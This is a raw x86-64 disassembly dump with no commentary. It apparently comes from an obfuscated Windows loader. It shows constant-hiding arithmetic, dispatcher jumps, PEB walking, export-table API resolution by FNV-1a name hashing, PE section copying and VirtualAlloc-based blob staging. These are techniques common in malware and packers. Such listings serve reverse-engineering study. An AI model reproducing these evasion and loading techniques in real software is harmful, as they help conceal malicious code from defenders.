push rax
not rax
sub rcx, rax
pop rax
sub rcx, 1
mov rax, rcx
mov qword [rsp + 0xe0], rax
mov eax, dword [rsp + 0x16c]
mov dword [rsp + 0xe8], eax
mov rax, qword [rsp + 0xd8]
cmp qword [rsp + 0xe0], rax
je 0x1400dfe85
push rax
pushf
mov eax, 0x9efec044
pushf
not eax
add eax, 0xb3f6c2b5
xor eax, 0xe56ca81d
rol eax, 0xbd
popf
pushf
not eax
add eax, 0xd183bd9b
xor eax, 0x8e1a668e
rol eax, 1
popf
pushf
not eax
add eax, 0xf661f0f2
xor eax, 0xbbca536a
rol eax, 0xb4
popf
jmp 0x1400de69e
push rax
pushf
mov eax, 0x7c3eb06f
pushf
not eax
add eax, 0xfebb0ef2
xor eax, 0xa83eb17f
rol eax, 0xb
popf
pushf
not eax
add eax, 0xaa03a6bc
xor eax, 0x920bbd69
rol eax, 0xd
popf
jmp 0x1400de69e
mov dword [rsp + 0x7c], 1
jmp 0x1400dff7f
mov dword [rsp + 0x7c], 0
push rax
pushf
mov eax, 0xde1b4ff4
pushf
not eax
add eax, 0x900a2a4e
xor eax, 0xe9b3dbd8
rol eax, 0xaf
popf
pushf
not eax
add eax, 0x9aa2be7f
xor eax, 0xba46e029
rol eax, 0x8e
popf
pushf
not eax
add eax, 0xdc02d6a5
xor eax, 0xe242edaf
rol eax, 0x76
popf
pushf
not eax
add eax, 0xd40b8c28
xor eax, 0xceec5087
rol eax, 0x78
popf
jmp 0x1400de69e
movzx eax, byte [rsp + 0x7c]
mov byte [rsp + 0x22], al
movzx eax, byte [rsp + 0x22]
test eax, eax
je 0x1400dffc8
push rax
pushf
mov eax, 0xb1a28cc3
pushf
not eax
add eax, 0xb4829400
xor eax, 0xbdcd47cb
rol eax, 0x44
popf
pushf
not eax
add eax, 0xf29e97b1
xor eax, 0xffcac435
rol eax, 0x56
popf
jmp 0x1400de69e
push rax
pushf
mov eax, 0xa3bd8cb7
pushf
not eax
add eax, 0xc95ebf3d
xor eax, 0xefcabf4b
rol eax, 0xdb
popf
pushf
not eax
add eax, 0xc46a4deb
xor eax, 0xa1a77af1
rol eax, 0x61
popf
pushf
not eax
add eax, 0xeebe2306
xor eax, 0xfcff64cd
rol eax, 0xff
popf
pushf
not eax
add eax, 0xdced5c5a
xor eax, 0xe0bb24c6
rol eax, 0xab
popf
jmp 0x1400de69e
mov rax, qword [rsp + 0xe0]
mov eax, dword [rax + 0x18]
mov dword [rsp + 0x2c], eax
mov eax, dword [rsp + 0x2c]
mov dword [rsp + 0xf8], eax
mov eax, dword [rsp + 0x2c]
jmp 0x1400e0040
dec eax
mov dword [rsp + 0x2c], eax
cmp dword [rsp + 0xf8], 0
je 0x1400e0087
push rax
pushf
mov eax, 0x51c1e30f
pushf
not eax
add eax, 0x8e7c59b9
xor eax, 0x8e31c3fa
rol eax, 0xa1
popf
pushf
not eax
add eax, 0xe5fadf7c
xor eax, 0x85e374d4
rol eax, 0x6a
popf
jmp 0x1400de69e
push rax
pushf
mov eax, 0x4ad12d01
pushf
not eax
add eax, 0x872ee14f
xor eax, 0xddf5deac
rol eax, 0xa1
popf
pushf
not eax
add eax, 0xaa6831b5
xor eax, 0xc9bc5e9a
rol eax, 0xc1
popf
pushf
not eax
add eax, 0xe62fbfb1
xor eax, 0xc4cd4239
rol eax, 0xf0
popf
pushf
not eax
add eax, 0xa4a9bef3
xor eax, 0xadc132de
rol eax, 0xf2
popf
jmp 0x1400de69e
mov eax, dword [rsp + 0x274]
mov dword [rsp + 0x80], eax
movabs rax, 0xd81eea648ee02939
pushf
not rax
add rax, 0x483ea2d8
xor rax, 0x78758e16
rol rax, 0x1e
popf
pushf
not rax
add rax, 0x52c64c51
xor rax, 0x70384e6e
rol rax, 3
popf
pushf
not rax
add rax, 0x79dd04eb
xor rax, 0x73bd8bbe
rol rax, 0xca
popf
shr rax, 0x20
mov dword [rsp + 0x80], eax
mov rax, qword [rsp + 0x2a0]
mov qword [rsp + 0x170], rax
mov rax, qword [rsp + 0xe0]
mov eax, dword [rax + 0x20]
mov rcx, qword [rsp + 0xd8]
push rax
not rax
sub rcx, rax
pop rax
sub rcx, 1
mov rax, rcx
mov ecx, dword [rsp + 0x2c]
mov eax, dword [rax + rcx*4]
add rax, qword [rsp + 0xd8]
mov qword [rsp + 0x170], rax
movabs rax, 0xf13971b87063e4f
pushf
not rax
add rax, 0x60a4c68b
xor rax, 0x45cbf07d
rol rax, 0xbd
popf
pushf
not rax
add rax, 0x490c4a39
xor rax, 0x690d6060
rol rax, 0xb0
popf
pushf
not rax
add rax, 0x520057d0
xor rax, 0x5c32edaa
rol rax, 0xc9
popf
mov ecx, 0x1be1e173
pushf
not ecx
add ecx, 0x9728338d
xor ecx, 0xf48e4a54
rol ecx, 0x3f
popf
pushf
not ecx
add ecx, 0xbfa3c598
xor ecx, 0xdd9a8355
rol ecx, 0x88
popf
pushf
not ecx
add ecx, 0xa2af5a1b
xor ecx, 0xb137fc66
rol ecx, 0x94
popf
pushf
not ecx
add ecx, 0xcc9a5056
xor ecx, 0xccd273d6
rol ecx, 0x11
popf
and rax, rcx
mov dword [rsp + 0xfc], eax
mov rax, qword [rsp + 0x170]
mov qword [rsp + 0x120], rax
mov eax, dword [rsp + 0x80]
mov dword [rsp + 0x60], eax
mov rax, qword [rsp + 0x120]
movzx eax, byte [rax]
mov byte [rsp + 0x23], al
mov rax, qword [rsp + 0x120]
inc rax
mov qword [rsp + 0x120], rax
movzx eax, byte [rsp + 0x23]
mov byte [rsp + 0x20], al
movsx eax, byte [rsp + 0x20]
test eax, eax
jne 0x1400e02eb
push rax
pushf
mov eax, 0x30c0bd22
pushf
not eax
add eax, 0x974f1bbc
xor eax, 0xb58e91dd
rol eax, 0xeb
popf
pushf
not eax
add eax, 0xdcb0aa03
xor eax, 0x9c9020c1
rol eax, 0x35
popf
pushf
not eax
add eax, 0xb5302628
xor eax, 0xbaa62092
rol eax, 0x2e
popf
pushf
not eax
add eax, 0xe9df065b
xor eax, 0xad6ea7a2
rol eax, 0x1b
popf
jmp 0x1400de69e
push rax
pushf
mov eax, 0xfa97f7c
pushf
not eax
add eax, 0xc3def3e3
xor eax, 0xa67365bc
rol eax, 6
popf
pushf
not eax
add eax, 0xdefdaa35
xor eax, 0x81d8c5ac
rol eax, 0x39
popf
pushf
not eax
add eax, 0xcb965173
xor eax, 0xc606b6b1
rol eax, 0xdf
popf
pushf
not eax
add eax, 0x907eac03
xor eax, 0xe4809667
rol eax, 0x76
popf
jmp 0x1400de69e
mov eax, dword [rsp + 0x60]
mov dword [rsp + 0x100], eax
jmp 0x1400e04e6
xor eax, eax
test eax, eax
je 0x1400e03c0
push rax
pushf
mov eax, 0x53074822
pushf
not eax
add eax, 0xa6506adf
xor eax, 0xe8bf460c
rol eax, 0x3d
popf
pushf
not eax
add eax, 0xa447239f
xor eax, 0x8c945708
rol eax, 0xee
popf
jmp 0x1400de69e
push rax
pushf
mov eax, 0x12ef38cd
pushf
not eax
add eax, 0xecee6475
xor eax, 0x8f6bb620
rol eax, 0x25
popf
pushf
not eax
add eax, 0xe97c71f4
xor eax, 0xe69bee3a
rol eax, 0xa0
popf
pushf
not eax
add eax, 0xeec31540
xor eax, 0xfe4ce60c
rol eax, 0x93
popf
jmp 0x1400de69e
movsx eax, byte [rsp + 0x20]
or eax, 0x20
mov dword [rsp + 0x84], eax
jmp 0x1400e04c5
movsx eax, byte [rsp + 0x20]
mov dword [rsp + 0x84], eax
push rax
pushf
mov eax, 0x7be72576
pushf
not eax
add eax, 0xb0308498
xor eax, 0xe963221d
rol eax, 0xec
popf
pushf
not eax
add eax, 0xa6bd8a4a
xor eax, 0xdb52b237
rol eax, 0xbf
popf
pushf
not eax
add eax, 0x9b23c5c4
xor eax, 0xd56c71a9
rol eax, 0x18
popf
pushf
not eax
add eax, 0xd4799ef7
xor eax, 0xca1c7787
rol eax, 0xbb
popf
jmp 0x1400de69e
mov eax, dword [rsp + 0x84]
mov ecx, dword [rsp + 0x60]
xor ecx, eax
mov eax, ecx
mov eax, eax
imul rax, rax, 0x1000193
mov dword [rsp + 0x60], eax
jmp 0x1400e025e
mov eax, dword [rsp + 0xfc]
cmp dword [rsp + 0x100], eax
jne 0x1400e053c
push rax
pushf
mov eax, 0xe4a9b34
pushf
not eax
add eax, 0x969dada1
xor eax, 0x8b05cfcd
rol eax, 0x90
popf
pushf
not eax
add eax, 0x85c9b358
xor eax, 0xc674eba7
rol eax, 0x1f
popf
pushf
not eax
add eax, 0xbc43f846
xor eax, 0x8515fc72
rol eax, 0xb7
popf
jmp 0x1400de69e
push rax
pushf
mov eax, 0x9bbdd226
pushf
not eax
add eax, 0xbbd8738d
xor eax, 0x9fee9bb5
rol eax, 0xc8
popf
pushf
not eax
add eax, 0xbea24e39
xor eax, 0xca677a65
rol eax, 0xa0
popf
jmp 0x1400de69e
mov rax, qword [rsp + 0xe0]
mov eax, dword [rax + 0x1c]
add rax, qword [rsp + 0xd8]
mov qword [rsp + 0x1f8], rax
mov rax, qword [rsp + 0xe0]
mov eax, dword [rax + 0x24]
add rax, qword [rsp + 0xd8]
mov qword [rsp + 0x1f0], rax
mov eax, dword [rsp + 0x2c]
mov rcx, qword [rsp + 0x1f0]
movzx eax, word [rcx + rax*2]
mov rcx, qword [rsp + 0x1f8]
mov eax, dword [rcx + rax*4]
add rax, qword [rsp + 0xd8]
mov qword [rsp + 0x200], rax
mov rax, qword [rsp + 0x200]
mov qword [rsp + 0x130], rax
jmp 0x1400e07e5
jmp 0x1400e0030
mov rax, qword [rsp + 0x128]
mov qword [rsp + 0x208], rax
mov rax, qword [rsp + 0x208]
mov rax, qword [rax]
mov qword [rsp + 0x210], rax
mov rax, qword [rsp + 0x210]
mov qword [rsp + 0x128], rax
mov byte [rsp + 0x24], 1
movzx eax, byte [rsp + 0x24]
test eax, eax
jne 0x1400e073a
push rax
pushf
mov eax, 0xcc40cd79
pushf
not eax
add eax, 0x943c2322
xor eax, 0xd583659f
rol eax, 0x15
popf
pushf
not eax
add eax, 0xb69951fa
xor eax, 0xd52c81f6
rol eax, 0x14
popf
pushf
not eax
add eax, 0xbbea23b2
xor eax, 0x8cd1709e
rol eax, 0x50
popf
pushf
not eax
add eax, 0xf14d6611
xor eax, 0xe7e65ef1
rol eax, 0x5f
popf
jmp 0x1400de69e
push rax
pushf
mov eax, 0x540e677e
pushf
not eax
add eax, 0xcf6d7006
xor eax, 0xd27452de
rol eax, 0x76
popf
pushf
not eax
add eax, 0xf4fc1cd5
xor eax, 0xd0e25278
rol eax, 0xdd
popf
pushf
not eax
add eax, 0xb60ae8c5
xor eax, 0xe3bc7854
rol eax, 0x29
popf
jmp 0x1400de69e
mov qword [rsp + 0x130], 0
push rax
pushf
mov eax, 0x5b2c62f6
pushf
not eax
add eax, 0xf58e92a1
xor eax, 0xb160ffba
rol eax, 0xf2
popf
pushf
not eax
add eax, 0xbb129310
xor eax, 0xdf1479a9
rol eax, 0x85
popf
pushf
not eax
add eax, 0xd26fe65f
xor eax, 0xa734f59b
rol eax, 0xe0
popf
pushf
not eax
add eax, 0xfa93553b
xor eax, 0xfc0a700e
rol eax, 0xe2
popf
jmp 0x1400de69e
mov ecx, 0xe2bbe3c2
pushf
not ecx
add ecx, 0xf6c16c3f
xor ecx, 0xcedf7772
rol ecx, 0x71
popf
pushf
not ecx
add ecx, 0xdf1aefc4
xor ecx, 0xe0fd470e
rol ecx, 0x7b
popf
jmp 0x1400e0815
call qword [rsp + 0x130]
mov rax, qword [rsp + 0x50]
movzx eax, word [rax + 0x14]
mov rcx, qword [rsp + 0x50]
lea rax, [rcx + rax + 0x18]
mov qword [rsp + 0x40], rax
mov dword [rsp + 0x64], 0
jmp 0x1400e08e6
mov eax, dword [rsp + 0x64]
jmp 0x1400e0879
inc eax
mov dword [rsp + 0x64], eax
mov rax, qword [rsp + 0x40]
add rax, 0x28
mov qword [rsp + 0x40], rax
push rax
pushf
mov eax, 0xa1f671eb
pushf
not eax
add eax, 0x8fca7c10
xor eax, 0xf5ed8dfd
rol eax, 0x8e
popf
pushf
not eax
add eax, 0xbb9df58d
xor eax, 0xdccb48cd
rol eax, 0xb4
popf
pushf
not eax
add eax, 0x83523161
xor eax, 0xdaa74507
rol eax, 8
popf
pushf
not eax
add eax, 0xbdc38bd3
xor eax, 0xdf23f604
rol eax, 3
popf
jmp 0x1400de69e
mov rax, qword [rsp + 0x50]
movzx eax, word [rax + 6]
cmp dword [rsp + 0x64], eax
je 0x1400e093f
push rax
pushf
mov eax, 0x5cb32fb1
pushf
not eax
add eax, 0xdf86cbce
xor eax, 0xb8ea91ae
rol eax, 4
popf
pushf
not eax
add eax, 0x85239b12
xor eax, 0xaf784694
rol eax, 0xb1
popf
pushf
not eax
add eax, 0xc6a41922
xor eax, 0xd3af7b08
rol eax, 0xff
popf
jmp 0x1400de69e
push rax
pushf
mov eax, 0x555a708a
pushf
not eax
add eax, 0xfe449535
xor eax, 0xcc6a7880
rol eax, 0x9f
popf
pushf
not eax
add eax, 0xa5118c39
xor eax, 0xf53e5474
rol eax, 0xad
popf
pushf
not eax
add eax, 0xcc8497c8
xor eax, 0xd16fff85
rol eax, 0xb2
popf
pushf
not eax
add eax, 0xef23098c
xor eax, 0x89ac2032
rol eax, 0xaf
popf
jmp 0x1400de69e
mov rax, qword [rsp + 0x40]
cmp dword [rax + 0x10], 0
je 0x1400e09ed
push rax
pushf
mov eax, 0xb6bf6ede
pushf
not eax
add eax, 0x9947413c
xor eax, 0xf8f18103
rol eax, 0xb3
popf
pushf
not eax
add eax, 0xd390d605
xor eax, 0xeb5e1628
rol eax, 0x42
popf
pushf
not eax
add eax, 0xd5eeacf7
xor eax, 0x8d365b0b
rol eax, 0xca
popf
jmp 0x1400de69e
push rax
pushf
mov eax, 0xd96b5dd0
pushf
not eax
add eax, 0x95734ba7
xor eax, 0x8f5c530e
rol eax, 0x80
popf
pushf
not eax
add eax, 0xce7f59ac
xor eax, 0x9b271ad3
rol eax, 0x53
popf
jmp 0x1400de69e
mov rax, qword [rsp + 0x40]
mov ecx, dword [rax + 0x24]
call fcn.1400aac98
mov dword [rsp + 0x104], eax
mov rax, qword [rsp + 0x40]
mov eax, dword [rax + 0x10]
mov rcx, qword [rsp + 0x40]
mov ecx, dword [rcx + 0xc]
mov rdx, qword [rsp + 0x48]
push rcx
not rcx
sub rdx, rcx
pop rcx
sub rdx, 1
mov rcx, rdx
mov r8d, 0x67f34060
pushf
not r8d
add r8d, 0xa3725968
xor r8d, 0x9995ad4a
rol r8d, 8
popf
pushf
not r8d
add r8d, 0xdc0dd7a4
xor r8d, 0xda46e1b8
rol r8d, 0xcf
popf
pushf
not r8d
add r8d, 0xa979d052
xor r8d, 0x9434827e
rol r8d, 0x16
popf
pushf
not r8d
add r8d, 0xb3c1f8b5
xor r8d, 0x84280e46
rol r8d, 0x6b
popf
mov edx, eax
call fcn.140161c88
mov rax, qword [rsp + 0x40]
mov eax, dword [rax + 0x10]
mov rcx, qword [rsp + 0x40]
mov ecx, dword [rcx + 0x14]
mov rdx, qword [rsp + 0x70]
push rcx
not rcx
sub rdx, rcx
pop rcx
sub rdx, 1
mov rcx, rdx
mov rdx, qword [rsp + 0x40]
mov edx, dword [rdx + 0xc]
mov rdi, qword [rsp + 0x48]
push rdx
not rdx
sub rdi, rdx
pop rdx
sub rdi, 1
mov rdx, rdi
mov qword [rsp + 0x218], rdx
mov r8d, eax
mov rdx, rcx
mov rax, qword [rsp + 0x218]
mov rcx, rax
call fcn.1400815da
mov rax, qword [rsp + 0x40]
mov eax, dword [rax + 0x10]
mov rcx, qword [rsp + 0x40]
mov ecx, dword [rcx + 0xc]
mov rdx, qword [rsp + 0x48]
push rcx
not rcx
sub rdx, rcx
pop rcx
sub rdx, 1
mov rcx, rdx
mov r8d, dword [rsp + 0x104]
mov edx, eax
call fcn.140161c88
push rax
pushf
mov eax, 0xbac31cd5
pushf
not eax
add eax, 0x8410667c
xor eax, 0xfda7eda6
rol eax, 0xd8
popf
pushf
not eax
add eax, 0xb4ef37a6
xor eax, 0xb59a4d01
rol eax, 0x8d
popf
jmp 0x1400de69e
jmp 0x1400e0874
mov rax, qword [rsp + 0x138]
mov qword [rsp + 0x1a0], rax
lea rdx, [0x18c3dc09d]
pushf
sub rdx, 0x4c3aa45d
popf
lea rcx, [0x1aa3d8b08]
pushf
sub rcx, 0x6a3a6eb8
popf
call fcn.1401670ad
lea rcx, [0x1b1bd8434]
pushf
sub rcx, 0x71bd4eb4
popf
sub rax, rcx
mov qword [rsp + 0x178], rax
lea rdx, [0x1afa0fbb3]
pushf
sub rdx, 0x6f9ddf73
popf
lea rcx, [0x1be2e154f]
pushf
sub rcx, 0x7e2af8ef
popf
call fcn.1401670ad
lea rcx, [0x1b05bc46c]
pushf
sub rcx, 0x705b8eec
popf
sub rax, rcx
mov qword [rsp + 0x180], rax
lea rdx, [0x1b4b9a2cd]
pushf
sub rdx, 0x74b6868d
popf
lea rcx, [0x19cf33338]
pushf
sub rcx, 0x5cf016c8
popf
call fcn.1401670ad
lea rcx, [0x1865a90d0]
pushf
sub rcx, 0x465a5b50
popf
sub rax, rcx
mov qword [rsp + 0x188], rax
cmp qword [rsp + 0x178], 0
je 0x1400e0ce5
push rax
pushf
mov eax, 0x75b90820
pushf
not eax
add eax, 0xa1ba02d5
xor eax, 0xb370d9f0
rol eax, 0x10
popf
pushf
not eax
add eax, 0xcf648cf0
xor eax, 0x8a1fed7f
rol eax, 0xa8
popf
jmp 0x1400de69e
push rax
pushf
mov eax, 0x30eb96ab
pushf
not eax
add eax, 0x8fe2a09f
xor eax, 0xfee35800
rol eax, 0xd2
popf
pushf
not eax
add eax, 0x91f95978
xor eax, 0xff524adb
rol eax, 0x33
popf
pushf
not eax
add eax, 0x8e3f9c93
xor eax, 0xff8b663d
rol eax, 0x4d
popf
pushf
not eax
add eax, 0xf0451e51
xor eax, 0x9d4ebc15
rol eax, 0x90
popf
jmp 0x1400de69e
cmp qword [rsp + 0x180], 0
je 0x1400e0da2
push rax
pushf
mov eax, 0x9678a263
pushf
not eax
add eax, 0x801ab7b2
xor eax, 0x9e213cd0
rol eax, 0xd
popf
pushf
not eax
add eax, 0x82437e17
xor eax, 0x84a97415
rol eax, 0x5f
popf
pushf
not eax
add eax, 0xcf4d892e
xor eax, 0xb7afd10c
rol eax, 0x4b
popf
pushf
not eax
add eax, 0xf14c666a
xor eax, 0x82f7a0b2
rol eax, 0xe2
popf
jmp 0x1400de69e
push rax
pushf
mov eax, 0x30a340f3
pushf
not eax
add eax, 0xe035e45f
xor eax, 0xae813399
rol eax, 0x39
popf
pushf
not eax
add eax, 0xc5df74da
xor eax, 0xe1dd65b8
rol eax, 0x18
popf
jmp 0x1400de69e
cmp qword [rsp + 0x188], 0
jne 0x1400e0e13
push rax
pushf
mov eax, 0xcdeb90a4
pushf
not eax
add eax, 0x8afa446e
xor eax, 0xa632c16a
rol eax, 0xf6
popf
pushf
not eax
add eax, 0x9357ee12
xor eax, 0xea911ea5
rol eax, 0xdf
popf
jmp 0x1400de69e
push rax
pushf
mov eax, 0xdda79d60
pushf
not eax
add eax, 0xb10b7e92
xor eax, 0xb92dc0a1
rol eax, 0xa4
popf
pushf
not eax
add eax, 0xffb791b1
xor eax, 0xff08cc87
rol eax, 0xdd
popf
pushf
not eax
add eax, 0x98bed726
xor eax, 0xe4032580
rol eax, 0xdb
popf
jmp 0x1400de69e
mov al, 0x27
pushf
not al
add al, 0x2b
xor al, 0x24
rol al, 0xf6
popf
pushf
not al
add al, 0xaf
xor al, 0x2e
rol al, 0xae
popf
pushf
not al
add al, 0x8e
xor al, 0x44
rol al, 0x2c
popf
pushf
not al
add al, 0x8d
xor al, 0xf
rol al, 0x69
popf
jmp 0x1400e2313
lea rcx, [0x1b1d83ceb]
pushf
sub rcx, 0x71d8076b
popf
call fcn.14011d39e
mov dword [rsp + 0x108], eax
movsxd rax, dword [rsp + 0x108]
mov r9d, 0x1de92540
pushf
not r9d
add r9d, 0x92f0709b
xor r9d, 0xfd2bdd12
rol r9d, 0xd0
popf
pushf
not r9d
add r9d, 0xacc7235f
xor r9d, 0xedf12a4b
rol r9d, 0xe1
popf
pushf
not r9d
add r9d, 0x9a53728b
xor r9d, 0x9d14b056
rol r9d, 0xa0
popf
pushf
not r9d
add r9d, 0xf9341193
xor r9d, 0x9b1351d1
rol r9d, 0x25
popf
mov r8d, 0xf0fb1ba7
pushf
not r8d
add r8d, 0xc589b0fa
xor r8d, 0xd0a8a2db
rol r8d, 0xa8
popf
pushf
not r8d
add r8d, 0xc7d6f93b
xor r8d, 0xa19f7336
rol r8d, 0xa4
popf
mov rdx, rax
xor ecx, ecx
jmp 0x1400e0fba
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rsp + 0x98], rax
lea rax, [0x1891ce559]
pushf
sub rax, 0x491cafd9
popf
mov rdi, qword [rsp + 0x98]
mov rsi, rax
mov ecx, 0xebcd7c0b
pushf
not ecx
add ecx, 0xd5e93938
xor ecx, 0xf0e5119b
rol ecx, 0x72
popf
pushf
not ecx
add ecx, 0xaa26a795
xor ecx, 0xff5e8af2
rol ecx, 0x92
popf
pushf
not ecx
add ecx, 0xd14917ff
xor ecx, 0xc67c01fe
rol ecx, 0xd7
popf
pushf
not ecx
add ecx, 0xaafe02cd
xor ecx, 0xc1971851
rol ecx, 0xae
popf
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x178]
mov rcx, qword [rsp + 0x98]
push rax
not rax
sub rcx, rax
pop rax
sub rcx, 1
mov rax, rcx
mov rcx, qword [rsp + 0x48]
mov qword [rax], rcx
mov rax, qword [rsp + 0x180]
mov rcx, qword [rsp + 0x98]
push rax
not rax
sub rcx, rax
pop rax
sub rcx, 1
mov rax, rcx
mov rcx, qword [rsp + 0x1a0]
mov qword [rax], rcx
mov rax, qword [rsp + 0x50]
mov eax, dword [rax + 0x28]
mov rcx, qword [rsp + 0x48]
push rax
not rax
sub rcx, rax
pop rax
sub rcx, 1
mov rax, rcx
mov rcx, qword [rsp + 0x188]
mov rdx, qword [rsp + 0x98]
push rcx
not rcx
sub rdx, rcx
pop rcx
sub rdx, 1
mov rcx, rdx
mov qword [rcx], rax
mov rax, qword [rsp + 0x280]
mov qword [rsp + 0x150], rax
mov rax, qword gs:[0x60]
mov qword [rsp + 0x220], rax
mov rax, qword [rsp + 0x220]
mov rax, qword [rax + 0x18]
mov qword [rsp + 0x228], rax
mov rax, qword [rsp + 0x228]
mov rax, qword [rax + 0x10]
mov qword [rsp + 0x230], rax
mov rax, qword [rsp + 0x230]
mov qword [rsp + 0x148], rax
push rax
pushf
mov eax, 0xaaa8a289
pushf
not eax
add eax, 0xfbb82aff
xor eax, 0xc90043f7
rol eax, 0x3b
popf
pushf
not eax
add eax, 0x97215caf
xor eax, 0xed28005a
rol eax, 0xeb
popf
pushf
not eax
add eax, 0xbda5d680
xor eax, 0xdbf7615b
rol eax, 0xd6
popf
pushf
not eax
add eax, 0xe9c1a10f
xor eax, 0xf2165050
rol eax, 0xe4
popf
jmp 0x1400de69e
mov rax, qword [rsp + 0x148]
mov rax, qword [rax + 0x30]
mov qword [rsp + 0xb8], rax
mov rax, qword [rsp + 0xb8]
mov qword [rsp + 0xc0], rax
mov rax, qword [rsp + 0xb8]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0xb8]
push rax
not rax
sub rcx, rax
pop rax
sub rcx, 1
mov rax, rcx
mov qword [rsp + 0x238], rax
mov eax, 0xdf53a3f8
pushf
not eax
add eax, 0xc8594fee
xor eax, 0xff988d9f
rol eax, 2
popf
pushf
not eax
add eax, 0xe3721335
xor eax, 0xc3408df0
rol eax, 2
popf
pushf
not eax
add eax, 0xba3428f6
xor eax, 0x8b3c5705
rol eax, 0x23
popf
imul rax, rax, 0
mov rcx, qword [rsp + 0x238]
mov rax, qword [rcx + rax + 0x88]
mov qword [rsp + 0x190], rax
mov eax, dword [rsp + 0x190]
mov rcx, qword [rsp + 0xb8]
push rax
not rax
sub rcx, rax
pop rax
sub rcx, 1
mov rax, rcx
mov qword [rsp + 0xc8], rax
mov eax, dword [rsp + 0x194]
mov dword [rsp + 0xd0], eax
mov rax, qword [rsp + 0xc0]
cmp qword [rsp + 0xc8], rax
je 0x1400e12c8
push rax
pushf
mov eax, 0x89e277c
pushf
not eax
add eax, 0xbf1b6212
xor eax, 0x84141d31
rol eax, 0x2d
popf
pushf
not eax
add eax, 0xa6c5107c
xor eax, 0xe9829b73
rol eax, 0x54
popf
pushf
not eax
add eax, 0xf5fc0373
xor eax, 0xe8761ede
rol eax, 0x41
popf
pushf
not eax
add eax, 0xb0a6e606
xor eax, 0xa00024b1
rol eax, 0xff
popf
jmp 0x1400de69e
push rax
pushf
mov eax, 0x365b3550
pushf
not eax
add eax, 0x865299cf
xor eax, 0xd85459fa
rol eax, 0x6c
popf
pushf
not eax
add eax, 0xd2d7553e
xor eax, 0x9efdcbc3
rol eax, 0xd4
popf
jmp 0x1400de69e
mov dword [rsp + 0x88], 1
jmp 0x1400e13b5
mov dword [rsp + 0x88], 0
push rax
pushf
mov eax, 0xc6007da1
pushf
not eax
add eax, 0x8eef108f
xor eax, 0xb5e798ff
rol eax, 0x69
popf
pushf
not eax
add eax, 0xa257b3b7
xor eax, 0xf2c6ed7d
rol eax, 0xd0
popf
pushf
not eax
add eax, 0xba6f72c7
xor eax, 0xf175d4e0
rol eax, 0xa0
popf
pushf
not eax
add eax, 0x840666b0
xor eax, 0xdc2aa2ba
rol eax, 0xde
popf
jmp 0x1400de69e
movzx eax, byte [rsp + 0x88]
mov byte [rsp + 0x25], al
movzx eax, byte [rsp + 0x25]
test eax, eax
je 0x1400e1427
push rax
pushf
mov eax, 0xb33c2d09
pushf
not eax
add eax, 0x976f40e8
xor eax, 0xdcbce8cd
rol eax, 0x40
popf
pushf
not eax
add eax, 0xb0b9158f
xor eax, 0x8e0da95e
rol eax, 0xbc
popf
pushf
not eax
add eax, 0xd5637cf6
xor eax, 0xb53e73de
rol eax, 0x8a
popf
pushf
not eax
add eax, 0xeda01380
xor eax, 0xf09799b3
rol eax, 0x1b
popf
jmp 0x1400de69e
push rax
pushf
mov eax, 0xe7d49f98
pushf
not eax
add eax, 0xbbfda94d
xor eax, 0xc371091f
rol eax, 0xb2
popf
pushf
not eax
add eax, 0xc90902a0
xor eax, 0xf65914a1
rol eax, 0x88
popf
pushf
not eax
add eax, 0xc3d8966d
xor eax, 0xaf69c27a
rol eax, 0x25
popf
pushf
not eax
add eax, 0xc4a48c84
xor eax, 0xa3bd43c1
rol eax, 0x28
popf
jmp 0x1400de69e
mov rax, qword [rsp + 0xc8]
mov eax, dword [rax + 0x18]
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
mov dword [rsp + 0x10c], eax
mov eax, dword [rsp + 0x30]
jmp 0x1400e149f
dec eax
mov dword [rsp + 0x30], eax
cmp dword [rsp + 0x10c], 0
je 0x1400e14f9
push rax
pushf
mov eax, 0x6d5676bb
pushf
not eax
add eax, 0x9191789d
xor eax, 0xd3b223b8
rol eax, 0xe9
popf
pushf
not eax
add eax, 0xc0f7044a
xor eax, 0xc966c72b
rol eax, 6
popf
pushf
not eax
add eax, 0xa9c33cf0
xor eax, 0xb49d602a
rol eax, 0xbe
popf
jmp 0x1400de69e
push rax
pushf
mov eax, 0x9f0e8391
pushf
not eax
add eax, 0xb812575b
xor eax, 0xf7432692
rol eax, 0x48
popf
pushf
not eax
add eax, 0xe295445b
xor eax, 0xa198c86c
rol eax, 0x33
popf
jmp 0x1400de69e
mov eax, dword [rsp + 0x270]
mov dword [rsp + 0x8c], eax
movabs rax, 0x898ba6b63e3c772f
pushf
not rax
add rax, 0x52491f94
xor rax, 0x65431e0a
rol rax, 0x55
popf
pushf
not rax
add rax, 0x6f2cc27e
xor rax, 0x5e032c6b
rol rax, 0x2a
popf
shr rax, 0x20
mov dword [rsp + 0x8c], eax
mov rax, qword [rsp + 0x288]
mov qword [rsp + 0x198], rax
mov rax, qword [rsp + 0xc8]
mov eax, dword [rax + 0x20]
mov rcx, qword [rsp + 0xc0]
push rax
not rax
sub rcx, rax
pop rax
sub rcx, 1
mov rax, rcx
mov ecx, dword [rsp + 0x30]
mov eax, dword [rax + rcx*4]
add rax, qword [rsp + 0xc0]
mov qword [rsp + 0x198], rax
movabs rax, 0x13febd9c1f8b03e2
pushf
not rax
add rax, 0x4ddf5a2f
xor rax, 0x4dffbe1f
rol rax, 0xb8
popf
pushf
not rax
add rax, 0x5066fa39
xor rax, 0x5330e333
rol rax, 0xd9
popf
mov ecx, 0x65648337
pushf
not ecx
add ecx, 0x9f6bd86a
xor ecx, 0x9bdb95f8
rol ecx, 0x1c
popf
pushf
not ecx
add ecx, 0xb0ab5c42
xor ecx, 0xf9726fca
rol ecx, 0x72
popf
and rax, rcx
mov dword [rsp + 0x110], eax
mov rax, qword [rsp + 0x198]
mov qword [rsp + 0x140], rax
mov eax, dword [rsp + 0x8c]
mov dword [rsp + 0x68], eax
push rax
pushf
mov eax, 0xb0817f84
pushf
not eax
add eax, 0xc7d996f0
xor eax, 0xd5afef99
rol eax, 0xcd
popf
pushf
not eax
add eax, 0x82399803
xor eax, 0x831b0fa4
rol eax, 0x98
popf
jmp 0x1400de69e
mov rax, qword [rsp + 0x140]
movzx eax, byte [rax]
mov byte [rsp + 0x26], al
mov rax, qword [rsp + 0x140]
inc rax
mov qword [rsp + 0x140], rax
movzx eax, byte [rsp + 0x26]
mov byte [rsp + 0x21], al
movsx eax, byte [rsp + 0x21]
test eax, eax
jne 0x1400e16ec
push rax
pushf
